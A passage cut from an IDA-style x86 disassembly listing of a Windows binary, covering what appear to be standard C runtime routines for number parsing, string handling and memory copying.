loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 2670881h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2680000h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
